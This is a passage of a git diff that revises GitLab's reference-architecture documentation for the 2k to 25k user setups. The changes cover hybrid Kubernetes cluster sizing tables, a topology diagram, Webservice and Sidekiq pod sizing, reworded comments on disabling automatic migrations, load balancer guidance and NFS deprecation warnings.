[Helm Charts](https://docs.gitlab.com/charts/). +In this setup, we support running the equivalent of GitLab Rails and Sidekiq nodes +in a Kubernetes cluster, named Webservice and Sidekiq respectively. In addition, +the following other supporting services are supported: NGINX, Task Runner, Migrations, +Prometheus and Grafana. Hybrid installations leverage the benefits of both cloud native and traditional -deployments. We recommend shifting the Sidekiq and Webservice components into -Kubernetes to reap cloud native workload management benefits while the others -are deployed using the traditional server method already described. +Kubernetes, you can reap certain cloud native workload management benefits while +the others are deployed in compute VMs with Omnibus as described above in this +page. -The following sections detail this hybrid approach. +NOTE: +This is an **advanced** setup. Running services in Kubernetes is well known +to be complex. **This setup is only recommended** if you have strong working +knowledge and experience in Kubernetes. The rest of this +section will assume this. ### Cluster topology -The following table provides a starting point for hybrid -deployment infrastructure. The recommendations use Google Cloud's Kubernetes Engine (GKE) -and associated machine types, but the memory and CPU requirements should -translate to most other providers. +The following tables and diagram details the hybrid environment using the same formats +as the normal environment above. + +First starting with the components that run in Kubernetes. The recommendations at this +time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types, but the memory +and CPU requirements should translate to most other providers. We hope to update this in the +future with further specific cloud provider details. + +| Service | Nodes | Configuration | GCP | Allocatable CPUs and Memory | +|-------------------------------------------------------|-------|-------------------------|------------------|-----------------------------| +| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-standard-32` | 127.5 vCPU, 118 GB memory | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory | +| Supporting services such as NGINX, Prometheus, etc... | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory | + +Next are the backend components that run on static compute VMs via Omnibus (or External PaaS +services where applicable): + +| Service | Nodes | Configuration | GCP | +|--------------------------------------------|-------|-------------------------|------------------| +| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | +| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | +| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | +| Redis Sentinel - Cache** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` | +| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` | +| Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | +| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Object storage | n/a | n/a | n/a | + +NOTE: +Components marked with * can be optionally run on reputable +third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. +Components marked with ** can be optionally run on reputable +third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. + +```plantuml +@startuml 10k + +card "Kubernetes via Helm Charts" as kubernetes { + card "**External Load Balancer**" as elb #6a9be7 + + together { + collections "**Webservice** x4" as gitlab #32CD32 + collections "**Sidekiq** x4" as sidekiq #ff8dd1 + } + + card "**Prometheus + Grafana**" as monitor #7FFFD4 + card "**Supporting Services**" as support +} + +card "**Internal Load Balancer**" as ilb #9370DB +collections "**Consul** x3" as consul #e76a9b + +card "Gitaly Cluster" as gitaly_cluster { + collections "**Praefect** x3" as praefect #FF8C00 + collections "**Gitaly** x3" as gitaly #FF8C00 + card "**Praefect PostgreSQL***\n//Non fault-tolerant//" as praefect_postgres #FF8C00 + + praefect -[#FF8C00]-> gitaly + praefect -[#FF8C00]> praefect_postgres +} + +card "Database" as database { + collections "**PGBouncer** x3" as pgbouncer #4EA7FF + card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF + collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF + + pgbouncer -[#4EA7FF]-> postgres_primary + postgres_primary .[#4EA7FF]> postgres_secondary +} + +card "redis" as redis { + collections "**Redis Persistent** x3" as redis_persistent #FF6347 + collections "**Redis Cache** x3" as redis_cache #FF6347 + collections "**Redis Persistent Sentinel** x3" as redis_persistent_sentinel #FF6347 + collections "**Redis Cache Sentinel** x3"as redis_cache_sentinel #FF6347 + + redis_persistent <.[#FF6347]- redis_persistent_sentinel + redis_cache <.[#FF6347]- redis_cache_sentinel +} + +cloud "**Object Storage**" as object_storage #white + +elb -[#6a9be7]-> gitlab +elb -[#6a9be7]-> monitor +elb -[hidden]-> support + +gitlab -[#32CD32]> sidekiq +gitlab -[#32CD32]--> ilb +gitlab -[#32CD32]-> object_storage +gitlab -[#32CD32]---> redis +gitlab -[hidden]--> consul + +sidekiq -[#ff8dd1]--> ilb +sidekiq -[#ff8dd1]-> object_storage +sidekiq -[#ff8dd1]---> redis +sidekiq -[hidden]--> consul + +ilb -[#9370DB]-> gitaly_cluster +ilb -[#9370DB]-> database + +consul .[#e76a9b]-> database +consul .[#e76a9b]-> gitaly_cluster +consul .[#e76a9b,norank]--> redis -Machine count | Machine type | Allocatable vCPUs | Allocatable memory (GB) | Purpose --|-|-|-|- -2 | `n1-standard-4` | 7.75 | 25 | Non-GitLab resources, including Grafana, NGINX, and Prometheus -4 | `n1-standard-4` | 15.5 | 50 | GitLab Sidekiq pods -4 | `n1-highcpu-32` | 127.5 | 118 | GitLab Webservice pods +monitor .[#7FFFD4]> consul +monitor .[#7FFFD4]-> database +monitor .[#7FFFD4]-> gitaly_cluster +monitor .[#7FFFD4,norank]--> redis +monitor .[#7FFFD4]> ilb +monitor .[#7FFFD4,norank]u--> elb -"Allocatable" in this table refers to the amount of resources available to workloads deployed in Kubernetes _after_ accounting for the overhead of running Kubernetes itself. +@enduml +``` ### Resource usage settings @@ -2379,29 +2504,31 @@ The following formulas help when calculating how many pods may be deployed withi The [10k reference architecture example values file](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/ref/10k.yaml) documents how to apply the calculated configuration to the Helm Chart. +#### Webservice + +Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_. +Each Webservice pod will consume roughly 4 vCPUs and 5 GB of memory using +the [recommended topology](#cluster-topology) because four worker processes +are created by default and each pod has other small processes running. + +For 10k users we recommend a total Puma worker count of around 80. +With the [provided recommendations](#cluster-topology) this allows the deployment of up to 20 +Webservice pods with 4 workers per pod and 5 pods per node. Expand available resources using +the ratio of 1 vCPU to 1.25 GB of memory _per each worker process_ for each additional +Webservice pod. + +For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources). + #### Sidekiq Sidekiq pods should generally have 1 vCPU and 2 GB of memory. [The provided starting point](#cluster-topology) allows the deployment of up to -16 Sidekiq pods. Expand available resources using the 1vCPU to 2GB memory +16 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory ratio for each additional pod. For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources). -#### Webservice - -Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_. -Each Webservice pod will consume roughly 2 vCPUs and 2.5 GB of memory using -the [recommended topology](#cluster-topology) because two worker processes -are created by default. - -The [provided recommendations](#cluster-topology) allow the deployment of up to 28 -Webservice pods. Expand available resources using the ratio of 1 vCPU to 1.25 GB of memory -_per each worker process_ for each additional Webservice pod. - -For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources). - <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i> diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index 8cf9efe1d2c..7f9f284d085 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -17,23 +17,23 @@ full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |-----------------------------------------|-------------|-------------------------|-----------------|-------------|----------| -| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | c5.large | F2s v2 | -| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Gitaly | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 | -| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | -| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | +| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | `m5.4xlarge` | D16s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | `c5.large` | F2s v2 | +| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Gitaly | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | `m5.8xlarge` | D32s v3 | +| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | +| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | `c5.9xlarge` | F32s v2 | +| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```plantuml @startuml 25k @@ -212,11 +212,12 @@ The following list includes descriptions of each server and its assigned IP: ## Configure the external load balancer -In an active/active GitLab configuration, you'll need a load balancer to route +In a multi-node GitLab configuration, you'll need a load balancer to route traffic to the application servers. The specifics on which load balancer to use -or its exact configuration is beyond the scope of GitLab documentation. We hope +or its exact configuration is beyond the scope of GitLab documentation. We assume that if you're managing multi-node systems like GitLab, you already have a load -balancer of choice. Some load balancer examples include HAProxy (open-source), +balancer of choice and that the routing methods used are distributing calls evenly +between all nodes. Some load balancer examples include HAProxy (open-source), F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and protocols needed for use with GitLab. @@ -389,6 +390,8 @@ backend praefect ``` Refer to your preferred Load Balancer's documentation for further guidance. +Also ensure that the routing methods used are distributing calls evenly across +all nodes. <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> @@ -435,7 +438,7 @@ To configure Consul: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -559,7 +562,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 - # Disable automatic database migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -855,7 +858,7 @@ a node and change its status from primary to replica (and vice versa). node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Prevent database migrations from running on upgrade + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -922,7 +925,7 @@ You can specify multiple roles, like sentinel and Redis, as: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Prevent database migrations from running on upgrade + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1054,7 +1057,7 @@ To configure the Sentinel Cache server: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1119,13 +1122,8 @@ a node and change its status from primary to replica (and vice versa). # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - ``` - -1. Only the primary GitLab application server should handle migrations. To - prevent database migrations from running on upgrade, add the following - configuration to your `/etc/gitlab/gitlab.rb` file: - ```ruby + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1186,7 +1184,7 @@ You can specify multiple roles, like sentinel and Redis, as: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1318,7 +1316,7 @@ To configure the Sentinel Queues server: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1403,6 +1401,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. postgresql['listen_address'] = '0.0.0.0' postgresql['max_connections'] = 200 + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1510,7 +1509,7 @@ Praefect requires several secret tokens to secure communications across the Clus Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains the details of each Gitaly node that makes up the cluster. Each storage is also given a name -and this name is used in several areas of the config. In this guide, the name of the storage will be +and this name is used in several areas of the configuration. In this guide, the name of the storage will be `default`. Also, this guide is geared towards new installs, if upgrading an existing environment to use Gitaly Cluster, you may need to use a different name. Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info. @@ -1548,7 +1547,8 @@ To configure the Praefect nodes, on each one: praefect['enable'] = true praefect['listen_addr'] = '0.0.0.0:2305' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically + praefect['auto_migrate'] = false gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1672,8 +1672,7 @@ On each node: alertmanager['enable'] = false prometheus['enable'] = false - # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will @@ -1907,6 +1906,7 @@ To configure the Sidekiq nodes, on each one: gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ####################################### @@ -2019,6 +2019,7 @@ On each node perform the following: gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ## Redis connection details @@ -2214,7 +2215,6 @@ To configure the Monitoring node: external_url 'http://gitlab.example.com' # Disable all other services - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_exporter['enable'] = false @@ -2248,6 +2248,9 @@ To configure the Monitoring node: consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } + + # Prevent database migrations from running on upgrade automatically + gitlab_rails['auto_migrate'] = false ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -2342,10 +2345,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag See how to [configure NFS](../nfs.md). WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md) -as soon as possible. +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index fc0afbff194..e5418e47ca2 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -93,11 +93,12 @@ To set up GitLab and its components to accommodate up to 2,000 users: ## Configure the external load balancer -In an active/active GitLab configuration, you'll need a load balancer to route +In a multi-node GitLab configuration, you'll need a load balancer to route traffic to the application servers. The specifics on which load balancer to use -or its exact configuration is beyond the scope of GitLab documentation. We hope +or its exact configuration is beyond the scope of GitLab documentation. We assume that if you're managing multi-node systems like GitLab, you already have a load -balancer of choice. Some load balancer examples include HAProxy (open-source), +balancer of choice and that the routing methods used are distributing calls evenly +between all nodes. Some load balancer examples include HAProxy (open-source), F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and protocols needed for use with GitLab. @@ -284,7 +285,7 @@ further configuration steps. # Replace APPLICATION_SERVER_IP_BLOCK with the CIDR address of the application node postgresql['trust_auth_cidr_addresses'] = %w(127.0.0.1/32 APPLICATION_SERVER_IP_BLOCK) - # Disable automatic database migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -385,13 +386,6 @@ are supported and can be added if needed. ## Configure Gitaly -NOTE: -[Gitaly Cluster](../gitaly/praefect.md) support -for the Reference Architectures is being -worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified -some Architecture specs will likely change as a result to support the new -and improved designed. - [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended that a Gitaly server node stores no more than 5TB of data. Although this @@ -466,8 +460,7 @@ To configure the Gitaly server, on the server node you want to use for Gitaly: alertmanager['enable'] = false prometheus['enable'] = false - # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will @@ -779,7 +772,6 @@ running [Prometheus](../monitoring/prometheus/index.md) and grafana['admin_password'] = 'toomanysecrets' # Disable all other services - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_exporter['enable'] = false @@ -794,6 +786,9 @@ running [Prometheus](../monitoring/prometheus/index.md) and unicorn['enable'] = false node_exporter['enable'] = false gitlab_exporter['enable'] = false + + # Prevent database migrations from running on upgrade automatically + gitlab_rails['auto_migrate'] = false ``` 1. Prometheus also needs some scrape configurations to pull all the data from the various @@ -956,10 +951,10 @@ possible. However, if you intend to use GitLab Pages, See how to [configure NFS](../nfs.md). WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md) -as soon as possible. +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index 7f7777455c2..b8d0a98a1f1 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -12,7 +12,7 @@ users, and then maintain uptime and access for those users. You can also use this architecture to provide improved GitLab uptime and availability for fewer than 3,000 users. For fewer users, reduce the stated node sizes as needed. -If maintining a high level of uptime for your GitLab environment isn't a +If maintaining a high level of uptime for your GitLab environment isn't a requirement, or if you don't have the expertise to maintain this sort of environment, we recommend using the [2,000-user reference architecture](2k_users.md) for your GitLab installation. @@ -26,20 +26,20 @@ For a full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-----------------------|----------------|-------------|---------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Gitaly | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | +| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Gitaly | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```plantuml @startuml 3k @@ -212,11 +212,12 @@ The following list includes descriptions of each server and its assigned IP: ## Configure the external load balancer -In an active/active GitLab configuration, you'll need a load balancer to route +In a multi-node GitLab configuration, you'll need a load balancer to route traffic to the application servers. The specifics on which load balancer to use -or its exact configuration is beyond the scope of GitLab documentation. We hope +or its exact configuration is beyond the scope of GitLab documentation. We assume that if you're managing multi-node systems like GitLab, you already have a load -balancer of choice. Some load balancer examples include HAProxy (open-source), +balancer of choice and that the routing methods used are distributing calls evenly +between all nodes. Some load balancer examples include HAProxy (open-source), F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and protocols needed for use with GitLab. @@ -389,6 +390,8 @@ backend praefect ``` Refer to your preferred Load Balancer's documentation for further guidance. +Also ensure that the routing methods used are distributing calls evenly across +all nodes. <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> @@ -494,7 +497,7 @@ a node and change its status from primary to replica (and vice versa). 'redis.password' => 'redis-password-goes-here', } - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -577,7 +580,7 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s 'redis.password' => 'redis-password-goes-here', } - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -706,7 +709,7 @@ To configure the Sentinel: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -831,7 +834,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 - # Disable automatic database migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1095,6 +1098,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. postgresql['listen_address'] = '0.0.0.0' postgresql['max_connections'] = 200 + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1240,7 +1244,8 @@ To configure the Praefect nodes, on each one: praefect['enable'] = true praefect['listen_addr'] = '0.0.0.0:2305' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically + praefect['auto_migrate'] = false gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1364,8 +1369,7 @@ On each node: alertmanager['enable'] = false prometheus['enable'] = false - # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will @@ -1533,7 +1537,6 @@ To configure the Sidekiq nodes, one each one: nginx['enable'] = false grafana['enable'] = false prometheus['enable'] = false - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_workhorse['enable'] = false @@ -1584,6 +1587,7 @@ To configure the Sidekiq nodes, one each one: gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ####################################### @@ -1720,6 +1724,7 @@ On each node perform the following: gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ## Redis connection details @@ -1885,7 +1890,6 @@ running [Prometheus](../monitoring/prometheus/index.md) and external_url 'http://gitlab.example.com' # Disable all other services - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_exporter['enable'] = false @@ -1919,6 +1923,9 @@ running [Prometheus](../monitoring/prometheus/index.md) and consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } + + # Prevent database migrations from running on upgrade automatically + gitlab_rails['auto_migrate'] = false ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -2028,10 +2035,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag See how to [configure NFS](../nfs.md). WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md) -as soon as possible. 